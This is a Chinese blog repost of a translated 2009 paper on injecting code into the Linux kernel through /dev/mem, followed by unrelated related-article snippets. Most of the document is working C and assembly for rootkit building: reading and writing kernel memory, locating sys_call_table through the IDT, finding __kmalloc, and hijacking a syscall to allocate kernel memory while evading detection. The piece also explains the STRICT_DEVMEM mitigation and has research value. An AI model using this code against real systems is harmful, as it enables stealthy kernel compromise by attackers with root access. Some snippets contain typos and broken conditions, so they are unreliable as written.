通过/dev/mem进行恶意代码注入

2024-04-15 01:38

本文主要是介绍通过/dev/mem进行恶意代码注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

通过/dev/mem进行恶意代码注入
Anthony Lineberry «anthony.lineberry@gmail.com»
2009年3月27日

原文
http://www.dtors.org/papers/malicious-code-injection-via-dev-mem.pdf

摘要
在本文中,我们将要讨论使用字符设备/dev/mem向kernel进行代码注入的方法。大多数针对linux kernel的rootkit,依赖于内核模块(LKM)来将代码导入到内核中。我们将演示Silvio Cesare原创的使用/dev/kmem来修改内核的方法,并将它应用到/dev/mem上面。我们将讲到如何定位一些重要的内核数据结构,在内核中分 配内存,在内核中滥用 一些重要的数据结构,以及实际的解决方法。我们的讨论将主要集中在X86架构上。

1 mem设备
/dev /mem是物理内存的驱动接口。mem和kmem的最初目的是为了调试内核的。我们像正常的字符设备一样使用它们,例如使用lseek()来定位一个地址 偏移。kmem设备类似,但是提供了在虚拟地址上下文上的一个kernel内存镜像。 Xorg server 使用mem设备来访问VESA显存, 以类似于BIOS 中断向量表(位于物理内存地址0x00000000)的方式在VM86模式下操作视频模式。DOSEMU也使用它来访问BIOS IVT来调用BIOS中断来完成各种任务(例如磁盘读、打印到终端等)


2 读写/dev/mem
对/dev/mem设备进行读写操作需要使用物理内存。因为linux kernel中的地址都是虚拟地址,我们需要将虚拟地址转换为物理地址。由于kernel被每个进程映射到相同的地址, 通常情况下我们可以通过查询进程的页目录来完成这个工作,
,但是我们可以利用linux kernel加载到内核方式较快的完成这个任务。
传统上,内核会被加载到物理内存地址0x00100000(1MB)处。内核所在的内存(ring 0)通常也会从虚拟地址0xC000000(3GB)开始。内核自身被映射到0xC0100000.

Tim Robinson开发了使用全局描述符表(GDT)在实模式下以虚拟地址运行内核的技术,利用其背后的思想(译者注:Tim Robinson的bootloader中采用的trick,在实模式下,使用虚拟地址和GDT来解析物理地址),我们可以将虚拟内核地址翻译到物理地 址。GDT是一个段映射表,包含了内存映射信息。它定义了基地址、大小和权限。X86体系结构中的CS寄存器包含了一个GDT中的偏移,来确定哪个内存段 被使用。GDT表项中存放的基地址加上处理器要访问的地址,就得到了最终的地址。设置GDT表项中的基地址为一个高地址将会封装一个32位地址。如果内核 映射到地址0xC0100000,一个基地址为0x40000000的表项(译者注:原文中为0x80000000,不过译者认为是笔误)将会得到地址 0x00100000(译者注:0xC0100000+0x40000000=0x00100000),kernel被加载的物理地址。使用这个信息,我 们可以通过简单的相加就将虚拟地址翻译到物理地址。我们可以使用这个技巧来解决我们之前考虑的问题,使用简单的减法来得到物理地址(译者 注:+0x40000000相当于-0xC0000000)。例如,0xC0100000-0xC0000000。下面的代码描述了这个过程:

译者注:关于Tim Robinson的GDT Trick可以阅读下面的这些资料:
http://www.osdever.net/tutorials/pdf/memory1.pdf
http://wiki.osdev.org/Higher_Half_Kernel
http://wiki.osdev.org/Higher_Half_With_GDT

#define KERN_START 0xC0000000
int iskernaddr(unsigned long addr)
{
/*is address valid?*/
if(addr<KERN_START)
return -1;
else
return 0 ;
}

/*read from kernel virtual address*/
int read_virt(unsigned long addr, void *buf, unsigned int len)
{
if( iskernaddr(addr)<0 )
return -1;

addr = addr - KERN_START;

lseek(mem_fd, addr, SEEK_SET);

return read(mem_fd, buf, len);
}


/*write to kernel virtual address*/
int write_virt(unsigned long addr, void *buf, unsigned int len)
{
if( iskernaddr(addr)<0 )
return -1;

addr = addr - KERN_START;

lseek(mem_fd, addr, SEEK_SET);

return write(mem_fd, buf, len);
}

在对/dev/mem调用open()之后,我们现在就可以使用这些函数来操作内核了。

3 操作内核
系统调用表是我们的主要目标,系统调用表是内存中的一个大数组,包含着一些系统调用函数的函数指针,每个4个字节长度。在过 去,sys_call_table符号为了被LKM使用,是一个被导出的符号。我们现在已经不能访问这个符号了,因此我们需要自己定位这个地址。

3.1 IDT
中断描述符表(IDT)是X86体系结构上用来确定一个中断或者异常相应处理函数的数组。IDT的地址被存放在IDTR寄存器。这个寄存器保存着4字节的 地址和2字节的限制。IDT本身在内存中包含256个连续的表项。IDT中的每个表项是一个8字节的数据结构,来保存中断或者是异常处理函数的地址,以及 描述符的类型(看IDT的图示)。表项通过中断向量来进行索引。当中断发生的时,处理器就会查询地址存放在IDTR中的中断向量表,通过触发的中断的索引 来查找中断处理函数,并调用中断处理函数。

IDTR寄存器可以通过lidt汇编指令来进行设置。这个指令是一个特权指令,只能在当前特权级(CPL)为0时候可以执行。为了获得IDTR中保存的地 址,我们可以使用sidt指令。这个指令不是特权指令,可以被任何人执行。下面的代码显示了如何获得IDT的地址:

struct idtr {
uint16_t limit;
unsigned long base;
} __attribute__((packed));

unsigned long idt_table;

__asm__("sidt %0": "=m"(idtr));
idt_table = idtr.base;

在大多数的虚拟机中将无法顺利的读取IDTR。因为lidt指令是一个特权指令,将会产生一个异常,并被VM所捕获。这样可以使VM为每一个操作系统维持 一个虚拟的IDTR。因为sidt指令没有被处理,它将会返回一个伪造的IDTR地址,通常会大于0xFFC00000。因为这个,我们需要求助于 kernel的system.map文件。然而,如果我们可以访问kernel的system.map文件,我们可以跳过上面的所有工作,直接找到我们需 要的符号的地址。不幸的是,这导致动态的rootkit少了很多。

3.2 查找sys_call_table
Linux内核使用0x80中断来处理系统调用。IDT表项是表中的第0x80项,它存放着system_call()的地址。这个函数是内核中每个系统 调用的入口。在定位到IDT的地址之后,我们可以读取到linux系统调用中断在IDT中的表项内容。

struct idt_entry{
uint16_t lo;
uint16_t css;
uint16_t flags;
uint16_t hi;
} __attribute__((packed));

unsigned long syscall_handler;

/*get idt entry for linux syscall interrupt 0x80*/
read_virt(idtr.base+sizeof(struct idt_entry)*0x80,
&idt,
sizeof(struct idt_entry));

syscall_handler = (idt.hi<<16) | idt.lo;

使用定位到的syscall_handler()的地址,我们可以将函数的代码读取到一个buffer中。系统调用约定要求将系统调用号放在EAX寄存 器,参数放在EBX,ECX和EDX寄存器中。当开始执行系统调用处理函数的时候,EAX中保存中系统调用号,可以被用来在sys_call_table 中进行索引。如果我们直接看系统调用处理函数的反汇编代码的话,在我们的例子中我们可以看到在0xC0103EBB处有一个call指令:

anthony$gdb -q /usr/src/linux/vmlinux
(gdb)disassemble system_call
Dump of assembler code for function system_call:
0xc0103e80 «system_call+0»: push %eax
0xc0103e81 «system_call+1»: cld
0xc0103e82 «system_call+2»: push %fs
0xc0103e84 «system_call+4»: push %es
0xc0103e85 «system_call+5»: push %ds
0xc0103e86 «system_call+6»: push %eax
0xc0103e87 «system_call+7»: push %ebp
0xc0103e88 «system_call+8»: push %edi
0xc0103e89 «system_call+9»: push %esi
0xc0103e8a «system_call+10»: push %edx
0xc0103e8b «system_call+11»: push %ecx
0xc0103e8c «system_call+12»: push %ebx
0xc0103e8d «system_call+13»: mov $0x7b,%edx
0xc0103e92 «system_call+18»: mov %edx,%ds
0xc0103e94 «system_call+20»: mov %edx,%es
0xc0103e96 «system_call+22»: mov $0xd8,%edx
0xc0103e9b «system_call+27»: mov %edx,%fs
0xc0103e9d «system_call+29»: mov $0xffffe000,%ebp
0xc0103ea2 «system_call+34»: and %esp,%ebp
0xc0103ea4 «system_call+36»: testw $0x1d1,0x8(%ebp )
0xc0103eaa «system_call+42»: jne 0xc0103fc0 «syscall_trace_entry»
0xc0103eb0 «system_call+48»: cmp $0x14d,%eax
0xc0103eb5 «system_call+53»: jae 0xc0104018 «syscall_badsys»
0xc0103ebb «system_call+59»: call *0xc032c880(,%eax,4)
0xc0103ec2 «system_call+66»: mov %eax,0x18(%esp)
0xc0103ec6 «syscall_exit+0»: push %eax
0xc0103ec7 «syscall_exit+1»: push %edi
0xc0103ec8 «syscall_exit+2»: push %ecx
0xc0103ec9 «syscall_exit+3»: push %edx

这条指令的机器代码为FF 14 85 ?? ?? ?? ??,最后的4个字节(??)就是系统调用表的地址。我们对这条指令的前3个字节比较感兴趣。因为这条调用指令的前三个字节在这个函数中是唯一的,我们可 以通过在内存中搜索这个字节序列,来获得代表系统调用表地址的后4个字节。这是一个很简单的方法,对于我们来讲却十分有效。

char buf[100];
memset(buf, 0, buf_sz);
read_virt(syscall_handler, buf, buf_sz);

/*
Scan opcodes from system_call() to find the opcode for
calling the indexed pointer into sys_call_table
/xff/x14/x85/x??/x??/x??/x?? = call ptr 0x????????(eax,4)
*/
for(i=0,ptr=bubf; i<buf_sz; i++, ptr++) {
if(*ptr==0xff &&
*(ptr+1)==0x14 &&
*(ptr+2)==0x85 &&
)
{
/*skip first 3 bytes of opcode*/
syscall_table = *((uint32_t *)(ptr+3));
break;
}
}
printf("sys_call_table 0x%08x/n", syscall_table);

运行这段代码,我们可以看到我们能够获得sys_call_table的正确地址。

#./memrkit
idtr.base 0xc0432000, limit 000007ff
system_call() 0xc0103e80
sys_call_table 0xc032c880

现在我们可以直接修改表中的相应表项,将其指向我们自己的函数,甚至是重写系统调用表处理函数中的地址,使用我们自己的表,而不改变原先的表。这样就可以 避过现在很多检查系统调用表变化的rootkit检测方法。从这一点上来看,我们可以修改内核的任何地址,从而创造出更多的可能性。

4 分配内存
拥有了在内核中任意写的权力,现在我们则需要一个地方来存放代码。我们不能够覆盖内核的部分,这样会导致内核不稳定。kmalloc分配的内存池中的内存 块可以被使用,但是我们无法自动的检查未使用的内存的头部,因此不能够保证等到我们使用的时候,它还是free的(还是可用的)。另外一种可能就是使用那 些预留的用来填充kmalloc内存池的未使用的页(译者注:kmalloc池中未分配的内存)。这需要我们能够在ring 0权限下动态的分配内存。我们也必须能够在用户空间做这件事情。
我们需要做的第一件事情是在内存中定位 kmalloc()的地址。我们可以使用为LKM使用的导出符号表。我们可以通过在内存中搜索字符串"0__kmalloc0"。在找到这个字符串的地址 后,我们再次在内存中搜索引用这个地址的地方。在我们找到的内存位置,它的前面4个字节就是kmalloc函数的地址。下面是来完成这些的示例代码。

#define PAGE_SIZE 4096
unsigned long lookup_kmalloc(void)
{
char buf[4096];
char srch[20];
unsigned long i = KERN_START, j;
unsigned long kstrtab;
char *sym="__kmalloc";

srch[0] = '/0';
memcpy(srch+1, sym, strlen(sym));
srch[strlen(sym)+1] = '/0';

/*Search the first 50megs of kernel space*/
while(i<KERN_START + 1024*1024*50) {
read_virt(i, buf, PAGE_SIZE);
for(j=0; j<PAGE_SIZE; j++) {
if(memcmp(buf+j, srch, strlen(sym)+2) == 0) {
printf("kstrtab: %08x/n", i+j);
kstrtab = i+j+1;
}
}
/*overlap reads incase string crosses boundries*/
i += (PAGE_SIZE-strlen(sym));
}

i = KERN_START;
if(kstrtab) {
while(i<KERN_START+1024*1024*50) {
read_virt(i, buf, PAGE_SIZE);
for(j=0; j<PAGE_SIZE; j++) {
if( *(unsigned long *)(buf+j) == kstrtab) {
printf("Possible location: %s@%08x/n",
sym, *(unsigned long *)(buf+j-4) );
}
}
i+=(PAGE_SIZE-8);
}
}

return 0;
}


这种方法还可以定位其他的导出符号的地址。现在我们需要一个调用这个地址的方法。使用之前找到的系统调用表,我们可以使用kmalloc的地址覆盖一个现 有的系统调用。这个函数需要两个参数,需要分配的缓存大小和POOL类型。通常,我们会以GFP_KERNEL类型来进行分配,它在2.6内核中的值是 0xD0。我们将系统调用号放在EAX寄存器中,分配大小放在EBX中,GFP_KERNEL放在ECX中,然后调用系统调用。在分配需要的内存之后,分 配的的缓存的地址会被返回到EAX寄存器中。当这个工作完成之后,把之前覆盖的系统调用表中相应的系统调用处理函数恢复到原先的地址。我们我们需要承担在 进行该操作过程中有人调用我们覆盖的系统调用的风险。选择一个不经常使用的系统调用(例如sys_uname或者是其他类似的) 来将这种情况的风险降到最小。

#define SYS_UNAME 122
unsigned long kmalloc_addr, sys_uname;
kmalloc_addr = find_kmalloc(KERN_START+0x100000, 1024*1024*20);

if(kmalloc_addr) {
read_virt(syscall_table+SYS_UNAME*sizeof(long),
&sys_uname, sizeof(unsigned long));

write_virt(syscall_table+SYS_UNAME*sizeof(long),
&kmalloc_addr, sizeof(unsigned long));

__asm__("movl $122, %%eax     /n"
"movl $0x4096, %%ebx     /n"
"movl $0xd0, %%ecx     /n"
"int $0x80         /n"
"movl %%eax, %0"
:"=r"(kernel_buf) );

write_virt(syscall_table+SYS_UNAME*sizeof(long),
&sys_uname, sizeof(unsigned long));

printf("Kernel Space allocation: %p/n", kernel_buf);
}

我们现在有一个可靠的地方在内核中存放代码,而不用担心内核会使用这个地方。可以将原始机器代码拷贝到这里,作为内核的一个函数来完成其他的任务。这个工 作留给读者来完成。

直到最近,内核主线中依然没有没有保护措施。尽管SELinux已经限制1M以上物理内存很多年了。使用RHEL和其他类似的发行版是安全的。最近内核主 线才加入了对/dev/mem的读写限制。该限制会检查访问的地址是否在内存的前256页(1M)。这些检查杂函数range_is_allowed() 和 devmem_is_allowed()函数中。

Listing 1: /usr/src/linux/drivers/char/mem.c
#ifdef CONFIG_STRICT_DEVMEM
static inline int range_is_allowed(unsigned long pfn, unsigned long size)
{
u64 from = ((u64)pfn) << PAGE_SHIFT;
u64 to = from + size;
u64 cursor = from;

while (cursor < to) {
if (!devmem_is_allowed(pfn)) {
printk(KERN_INFO
"Program %s tried to access /dev/mem between %Lx-»%Lx./n",
current->comm, from, to);
return 0;
}
cursor += PAGE_SIZE;
pfn++;
}
return 1;
}
#else
static inline int range_is_allowed(unsigned long pfn, unsigned long size)
{
return 1;
}
#endif

Listing 2: /usr/src/linux/arch/x86/mm/init_32.c
int devmem_is_allowed(unsigned long pagenr)
{
if (pagenr <= 256)
return 1;
if (!page_is_ram(pagenr))
return 1;
return 0;
}

正如你所看到的,唯一的问题就在于range_is_allowed()包含在预处理宏#ifdef CONFIG_STRICT_DEVMEM中。如果没有被配置,range_is_allowed()将总是返回成功。
在配置内核的时候,这个配置选项默认为N,即便是在内核的帮助文档中建议在不确定的时候选择Y。

Listing 3: /usr/src/linux/arch/x86/Kconfig.debug
config STRICT_DEVMEM
bool "Filter access to /dev/mem"
help
If this option is left off, you allow userspace access to all
of memory, including kernel and userspace memory. Accidental
access to this is obviously disastrous, but specific access can
be used by people debugging the kernel.

If this option is switched on, the /dev/mem file only allows
userspace access to PCI space and the BIOS code and data regions.
This is sufficient for dosemu and X and all common users of
/dev/mem.

If in doubt, say Y.

在将来应该将其默认改为Y,系统管理员在配置内核的时候,应该确定启用了这个选项。

5 结论
我们介绍了一种读写kernel内存的方法,以及将代码存入kernel的方法,这些全部在用户空间完成。这个设备非常的强大,其中充满无数的可能性。拥 有 root权限的攻击者可以使用它来完成很多标准rootkit的行为,例如隐藏进程,隐藏远程后门,截获系统调用,等等。通过这种方法向内核中注入代码简 洁明了。相比LKM的方式,在插入rootkit的时候,也产生较少的噪声。

这篇关于通过/dev/mem进行恶意代码注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/904580

相关文章

【Prometheus】PromQL向量匹配实现不同标签的向量数据进行运算

✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,阿里云开发者社区专家博主,CSDN全栈领域优质创作者,掘金优秀博主,51CTO博客专家等。 🏆《博客》:Python全栈,前后端开发,小程序开发,人工智能,js逆向,App逆向,网络系统安全,数据分析,Django,fastapi

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

v0.dev快速开发

探索v0.dev:次世代开发者之利器 今之技艺日新月异,开发者之工具亦随之进步不辍。v0.dev者,新兴之开发者利器也,迅速引起众多开发者之瞩目。本文将引汝探究v0.dev之基本功能与优势,助汝速速上手,提升开发之效率。 何谓v0.dev? v0.dev者,现代化之开发者工具也,旨在简化并加速软件开发之过程。其集多种功能于一体,助开发者高效编写、测试及部署代码。无论汝为前端开发者、后端开发者

遮罩,在指定元素上进行遮罩

废话不多说,直接上代码: ps:依赖 jquer.js 1.首先,定义一个 Overlay.js  代码如下: /*遮罩 Overlay js 对象*/function Overlay(options){//{targetId:'',viewHtml:'',viewWidth:'',viewHeight:''}try{this.state=false;//遮罩状态 true 激活,f

利用matlab bar函数绘制较为复杂的柱状图,并在图中进行适当标注

示例代码和结果如下:小疑问:如何自动选择合适的坐标位置对柱状图的数值大小进行标注?😂 clear; close all;x = 1:3;aa=[28.6321521955954 26.2453660695847 21.69102348512086.93747104431360 6.25442246899816 3.342835958564245.51365061796319 4.87

PHP防止SQL注入详解及防范

SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞。 一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。 对于攻击者来说,进行SQL注入攻击需要思考和试验,对数据库方案进行有根有据的推理非常有必要(当然假设攻击者看不到你的

PHP防止SQL注入的方法(2)

如果用户输入的是直接插入到一个SQL语句中的查询,应用程序会很容易受到SQL注入,例如下面的例子: $unsafe_variable = $_POST['user_input'];mysql_query("INSERT INTO table (column) VALUES ('" . $unsafe_variable . "')"); 这是因为用户可以输入类似VALUE”); DROP TA

PHP防止SQL注入的方法(1)

(1)mysql_real_escape_string – 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: $sql = "select count(*) as ctr from users where username ='".mysql_real_escape_string($username)."' and password='". mysql_r

Python脚本:对文件进行批量重命名

字符替换:批量对文件名中指定字符进行替换添加前缀:批量向原文件名添加前缀添加后缀:批量向原文件名添加后缀 import osdef Rename_CharReplace():#对文件名中某字符进行替换(已完结)re_dir = os.getcwd()re_list = os.listdir(re_dir)original_char = input('请输入你要替换的字符:')replace_ch

Go 依赖注入库dig

简介 今天我们来介绍 Go 语言的一个依赖注入(DI)库——dig。dig 是 uber 开源的库。Java 依赖注入的库有很多,相信即使不是做 Java 开发的童鞋也听过大名鼎鼎的 Spring。相比庞大的 Spring,dig 很小巧,实现和使用都比较简洁。 快速使用 第三方库需要先安装,由于我们的示例中使用了前面介绍的go-ini和go-flags,这两个库也需要安装: $ go g